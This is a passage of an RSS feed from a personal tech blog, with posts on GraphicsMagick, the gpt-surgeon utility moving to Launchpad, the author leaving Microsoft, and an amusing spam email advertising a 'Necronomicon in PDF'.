		<media:content url="http://steelpangolin.files.wordpress.com/2011/02/digsby-prefs.png" medium="image">
			<media:title type="html">Location of Digsby's Preferences window</media:title>
		</media:content>

		<media:content url="http://steelpangolin.files.wordpress.com/2011/02/digsby-disable-ads.png" medium="image">
			<media:title type="html">Location of checkbox to disable Digsby's conversation window ads</media:title>
		</media:content>

		<media:content url="http://steelpangolin.files.wordpress.com/2011/02/digsby-disable-promo.png" medium="image">
			<media:title type="html">digsby-disable-promo</media:title>
		</media:content>

		<media:content url="http://steelpangolin.files.wordpress.com/2011/02/digsby-disable-research-module.png" medium="image">
			<media:title type="html">digsby-disable-research-module</media:title>
		</media:content>
	</item>
		<item>
		<title>GraphicsMagick: doing ImageMagick right</title>
		<link>http://steelpangolin.wordpress.com/2010/12/16/graphicsmagick-doing-imagemagick-right/</link>
		<comments>http://steelpangolin.wordpress.com/2010/12/16/graphicsmagick-doing-imagemagick-right/#comments</comments>
		<pubDate>Fri, 17 Dec 2010 02:04:34 +0000</pubDate>
		<dc:creator>Jeremy</dc:creator>
				<category><![CDATA[code]]></category>
		<category><![CDATA[graphics]]></category>

		<guid isPermaLink="false">http://steelpangolin.wordpress.com/?p=130</guid>
		<description><![CDATA[Found out about GraphicsMagick while trying to remember the package name for ImageMagick in Ubuntu 10.10/Maverick&#8216;s repository (I can never remember which package managers do case-insensitive substring matching by default and which don&#8217;t). It&#8217;s about time someone started making ImageMagick slightly more comprehensible. ImageMagick&#8216;s useful in a pinch, but it&#8217;s far from perfect. Its list [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=steelpangolin.wordpress.com&amp;blog=277318&amp;post=130&amp;subd=steelpangolin&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Found out about <a href="http://www.graphicsmagick.org/"><strong>GraphicsMagick</strong></a> while trying to remember the package name for <a href="http://www.imagemagick.org/"><strong>ImageMagick</strong></a> in <a href="https://wiki.ubuntu.com/MaverickMeerkat">Ubuntu 10.10/Maverick</a>&#8216;s repository (I can never remember which package managers do case-insensitive substring matching by default and which don&#8217;t). It&#8217;s about time someone started making <strong>ImageMagick</strong> slightly more comprehensible. <strong>ImageMagick</strong>&#8216;s useful in a pinch, but it&#8217;s far from perfect. Its <a href="http://www.imagemagick.org/script/command-line-options.php">list of command-line flags</a> rivals the Bible in length, it&#8217;s sometimes so hard to figure out which options to stick where to do what that on more than one occasion I&#8217;ve said &#8220;Screw it, I&#8217;ll just do this in <a href="http://www.pythonware.com/products/pil/"><strong>PIL</strong></a>/<a href="http://www.scipy.org/"><strong>SciPy</strong></a>/raw OpenGL!&#8221;, and the way it names its various utilities is just rude. <strong>convert</strong>, <strong>identify</strong>, <strong>display</strong> — these are all common words! They get used by everything! Would it have killed them to put a prefix on there? I haven&#8217;t even finished installing it, but <strong>GraphicsMagick</strong> has already solved one of those problems: all of their functionality is accessed through the <strong>gm</strong> command. Thanks, GraphicsMagick Group! Now, if they suck at compression even slightly less than <strong>ImageMagick</strong> does, I&#8217;ll be a very happy man.</p>
<p>I hope most of the stuff at <a href="http://www.imagemagick.org/Usage/">http://www.imagemagick.org/Usage/</a> still works on <strong>GraphicsMagick</strong>. The examples there are a lifesaver if you happen to have a task that matches one of them, but they&#8217;re from <strong>ImageMagick</strong> v6 and <strong>GraphicsMagick</strong> forked from <strong>ImageMagick</strong> v5. We&#8217;ll see how much translates.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/steelpangolin.wordpress.com/130/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/steelpangolin.wordpress.com/130/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/steelpangolin.wordpress.com/130/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/steelpangolin.wordpress.com/130/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/steelpangolin.wordpress.com/130/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/steelpangolin.wordpress.com/130/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/steelpangolin.wordpress.com/130/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/steelpangolin.wordpress.com/130/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/steelpangolin.wordpress.com/130/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/steelpangolin.wordpress.com/130/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/steelpangolin.wordpress.com/130/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/steelpangolin.wordpress.com/130/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/steelpangolin.wordpress.com/130/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/steelpangolin.wordpress.com/130/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=steelpangolin.wordpress.com&amp;blog=277318&amp;post=130&amp;subd=steelpangolin&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://steelpangolin.wordpress.com/2010/12/16/graphicsmagick-doing-imagemagick-right/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/5cacf15a5ad77a57d2b35839b099d0ed?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">steelpangolin</media:title>
		</media:content>
	</item>
		<item>
		<title>hello world, meet gpt-surgeon</title>
		<link>http://steelpangolin.wordpress.com/2010/09/08/hello-world-meet-gpt-surgeon/</link>
		<comments>http://steelpangolin.wordpress.com/2010/09/08/hello-world-meet-gpt-surgeon/#comments</comments>
		<pubDate>Thu, 09 Sep 2010 01:48:22 +0000</pubDate>
		<dc:creator>Jeremy</dc:creator>
				<category><![CDATA[code]]></category>
		<category><![CDATA[gpt-surgeon]]></category>
		<category><![CDATA[launchpad]]></category>
		<category><![CDATA[mac os x]]></category>
		<category><![CDATA[macdrive]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[snow leopard]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://steelpangolin.wordpress.com/?p=117</guid>
		<description><![CDATA[gpt-surgeon has a new home on Launchpad! Look for it at https://launchpad.net/gpt-surgeon. Downloads compliant with the Launchpad release scheme (GPG-signed tarball) available here: https://launchpad.net/gpt-surgeon/+download I&#8217;ve decided to go with GPLv2 as the licensing scheme, no copyright assignment required, to keep this simple utility open and available to the public with a minimum of hassle and [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=steelpangolin.wordpress.com&amp;blog=277318&amp;post=117&amp;subd=steelpangolin&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><a href="http://steelpangolin.wordpress.com/2009/03/15/invalid-bs_jmpboot-in-boot-block-000000/"><strong>gpt-surgeon</strong></a> <a href="https://launchpad.net/gpt-surgeon">has a new home </a>on <a href="https://launchpad.net/">Launchpad</a>! Look for it at <a href="https://launchpad.net/gpt-surgeon">https://launchpad.net/gpt-surgeon</a>. Downloads compliant with the Launchpad release scheme (GPG-signed tarball) available here: <a href="https://launchpad.net/gpt-surgeon/+download">https://launchpad.net/gpt-surgeon/+download</a></p>
<p>I&#8217;ve decided to go with <strong><a href="http://www.gnu.org/licenses/gpl-2.0.html">GPLv2</a></strong> as the licensing scheme, no <a href="http://producingoss.com/en/copyright-assignment.html">copyright assignment</a> required, to keep this simple utility open and available to the public with a minimum of hassle and a maximum of fresh code.</p>
<p><a href="http://bat-country.us/software/"><strong>gpt-surgeon</strong> will still be available here</a> on <a href="http://bat-country.us/">Bat Country</a> for a time, but fresh development and new versions will be on the <a href="https://launchpad.net/gpt-surgeon">Launchpad site</a>. This version will be frozen as soon as the Launchpad version is available.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/steelpangolin.wordpress.com/117/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/steelpangolin.wordpress.com/117/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/steelpangolin.wordpress.com/117/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/steelpangolin.wordpress.com/117/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/steelpangolin.wordpress.com/117/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/steelpangolin.wordpress.com/117/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/steelpangolin.wordpress.com/117/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/steelpangolin.wordpress.com/117/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/steelpangolin.wordpress.com/117/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/steelpangolin.wordpress.com/117/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/steelpangolin.wordpress.com/117/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/steelpangolin.wordpress.com/117/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/steelpangolin.wordpress.com/117/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/steelpangolin.wordpress.com/117/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=steelpangolin.wordpress.com&amp;blog=277318&amp;post=117&amp;subd=steelpangolin&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://steelpangolin.wordpress.com/2010/09/08/hello-world-meet-gpt-surgeon/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/5cacf15a5ad77a57d2b35839b099d0ed?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">steelpangolin</media:title>
		</media:content>
	</item>
		<item>
		<title>status update: single</title>
		<link>http://steelpangolin.wordpress.com/2010/08/25/status-update-single/</link>
		<comments>http://steelpangolin.wordpress.com/2010/08/25/status-update-single/#comments</comments>
		<pubDate>Wed, 25 Aug 2010 20:06:31 +0000</pubDate>
		<dc:creator>Jeremy</dc:creator>
				<category><![CDATA[blog]]></category>

		<guid isPermaLink="false">http://steelpangolin.wordpress.com/?p=113</guid>
		<description><![CDATA[Microsoft and I have parted ways. Side effect: I will temporarily have more time to post here.<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=steelpangolin.wordpress.com&amp;blog=277318&amp;post=113&amp;subd=steelpangolin&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Microsoft and I have parted ways.</p>
<p>Side effect: I will temporarily have more time to post here.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/steelpangolin.wordpress.com/113/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/steelpangolin.wordpress.com/113/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/steelpangolin.wordpress.com/113/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/steelpangolin.wordpress.com/113/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/steelpangolin.wordpress.com/113/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/steelpangolin.wordpress.com/113/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/steelpangolin.wordpress.com/113/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/steelpangolin.wordpress.com/113/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/steelpangolin.wordpress.com/113/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/steelpangolin.wordpress.com/113/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/steelpangolin.wordpress.com/113/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/steelpangolin.wordpress.com/113/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/steelpangolin.wordpress.com/113/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/steelpangolin.wordpress.com/113/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=steelpangolin.wordpress.com&amp;blog=277318&amp;post=113&amp;subd=steelpangolin&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://steelpangolin.wordpress.com/2010/08/25/status-update-single/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/5cacf15a5ad77a57d2b35839b099d0ed?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">steelpangolin</media:title>
		</media:content>
	</item>
		<item>
		<title>preparing to hibernate</title>
		<link>http://steelpangolin.wordpress.com/2010/03/21/preparing-to-hibernate/</link>
		<comments>http://steelpangolin.wordpress.com/2010/03/21/preparing-to-hibernate/#comments</comments>
		<pubDate>Sun, 21 Mar 2010 22:23:30 +0000</pubDate>
		<dc:creator>Jeremy</dc:creator>
				<category><![CDATA[blog]]></category>

		<guid isPermaLink="false">http://steelpangolin.wordpress.com/?p=110</guid>
		<description><![CDATA[This is more or less my non-work technical blog. Problem is, when you do coding for a living, you start to find coding for fun less fun. The major attraction to this blog is gpt_surgeon.py, and I&#8217;ll make sure that has a place somewhere so other people can work on it (Launchpad or SourceForge or [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=steelpangolin.wordpress.com&amp;blog=277318&amp;post=110&amp;subd=steelpangolin&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>This is more or less my non-work technical blog. Problem is, when you do coding for a living, you start to find coding for fun less fun. The major attraction to this blog is <strong><a href="http://bat-country.us/code/GPTools/gpt_surgeon.py?view=markup">gpt_surgeon.py</a></strong>, and I&#8217;ll make sure that has a place somewhere so other people can work on it (<a href="https://launchpad.net/">Launchpad </a>or <a href="http://sourceforge.net/">SourceForge </a>or <a href="http://www.codeplex.com/">CodePlex</a> or something), but I don&#8217;t use a dual-boot configuration any more and I don&#8217;t have the time or the inclination to give <strong>gpt_surgeon.py</strong> the upgrades it needs. I&#8217;ll file a bug report at <a href="http://www.microsoft.com/en/us/default.aspx">work </a>with all the information I&#8217;ve been given by you, my readers, and hopefully (no promises) the underlying problem will get fixed somewhere down the line. If not, well, I hope someone picks up <strong>gpt_surgeon.py</strong>.</p>
<p>I plan to do something with my free time that doesn&#8217;t involve digging around in system guts for a change.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/steelpangolin.wordpress.com/110/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/steelpangolin.wordpress.com/110/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/steelpangolin.wordpress.com/110/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/steelpangolin.wordpress.com/110/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/steelpangolin.wordpress.com/110/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/steelpangolin.wordpress.com/110/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/steelpangolin.wordpress.com/110/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/steelpangolin.wordpress.com/110/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/steelpangolin.wordpress.com/110/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/steelpangolin.wordpress.com/110/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/steelpangolin.wordpress.com/110/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/steelpangolin.wordpress.com/110/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/steelpangolin.wordpress.com/110/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/steelpangolin.wordpress.com/110/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=steelpangolin.wordpress.com&amp;blog=277318&amp;post=110&amp;subd=steelpangolin&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://steelpangolin.wordpress.com/2010/03/21/preparing-to-hibernate/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/5cacf15a5ad77a57d2b35839b099d0ed?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">steelpangolin</media:title>
		</media:content>
	</item>
		<item>
		<title>best-targeted spam ever</title>
		<link>http://steelpangolin.wordpress.com/2009/11/20/best-targeted-spam-ever/</link>
		<comments>http://steelpangolin.wordpress.com/2009/11/20/best-targeted-spam-ever/#comments</comments>
		<pubDate>Fri, 20 Nov 2009 09:20:54 +0000</pubDate>
		<dc:creator>Jeremy</dc:creator>
				<category><![CDATA[blog]]></category>
		<category><![CDATA[basilisk]]></category>
		<category><![CDATA[blit]]></category>
		<category><![CDATA[david langford]]></category>
		<category><![CDATA[necronomicon]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://steelpangolin.wordpress.com/?p=105</guid>
		<description><![CDATA[WHY YES I DO WANT A COPY OF THAT. Sadly, the payload wasn&#8217;t even a trojan, just a Chinese-hosted pillz site. The default blocking of images from domains you don&#8217;t trust here is good; most clients have it now, and it was clearly developed as a response to web bugs but it also protects one [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=steelpangolin.wordpress.com&amp;blog=277318&amp;post=105&amp;subd=steelpangolin&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><a href="http://steelpangolin.files.wordpress.com/2009/11/scariest-spam-ever.png"><img class="aligncenter size-full wp-image-104" title="scariest spam ever" src="http://steelpangolin.files.wordpress.com/2009/11/scariest-spam-ever.png?w=510&#038;h=201" alt="Subj: Necronomicon in PDF" width="510" height="201" /></a></p>
<p><a href="http://steelpangolin.files.wordpress.com/2009/11/scariest-spam-ever.png"></a><strong>WHY YES I DO WANT A COPY OF THAT.</strong> Sadly, the payload wasn&#8217;t even a trojan, just a Chinese-hosted pillz site. The default blocking of images from domains you don&#8217;t trust here is good; most clients have it now, and it was clearly developed as a response to <a href="http://en.wikipedia.org/wiki/Web_bug">web bugs</a> but it also protects one from <a href="http://www.infinityplus.co.uk/stories/blit.htm">basilisks</a>. It&#8217;s still trivial in the current email protocol to forge a sender, so trust no one &#8211; not even yourself.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/steelpangolin.wordpress.com/105/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/steelpangolin.wordpress.com/105/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/steelpangolin.wordpress.com/105/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/steelpangolin.wordpress.com/105/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/steelpangolin.wordpress.com/105/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/steelpangolin.wordpress.com/105/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/steelpangolin.wordpress.com/105/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/steelpangolin.wordpress.com/105/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/steelpangolin.wordpress.com/105/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/steelpangolin.wordpress.com/105/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/steelpangolin.wordpress.com/105/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/steelpangolin.wordpress.com/105/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/steelpangolin.wordpress.com/105/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/steelpangolin.wordpress.com/105/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=steelpangolin.wordpress.com&amp;blog=277318&amp;post=105&amp;subd=steelpangolin&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://steelpangolin.wordpress.com/2009/11/20/best-targeted-spam-ever/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/5cacf15a5ad77a57d2b35839b099d0ed?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">steelpangolin</media:title>
		</media:content>

		<media:content url="http://steelpangolin.files.wordpress.com/2009/11/scariest-spam-ever.png" medium="image">
			<media:title type="html">scariest spam ever</media:title>
		</media:content>
	</item>
	</channel>
</rss>
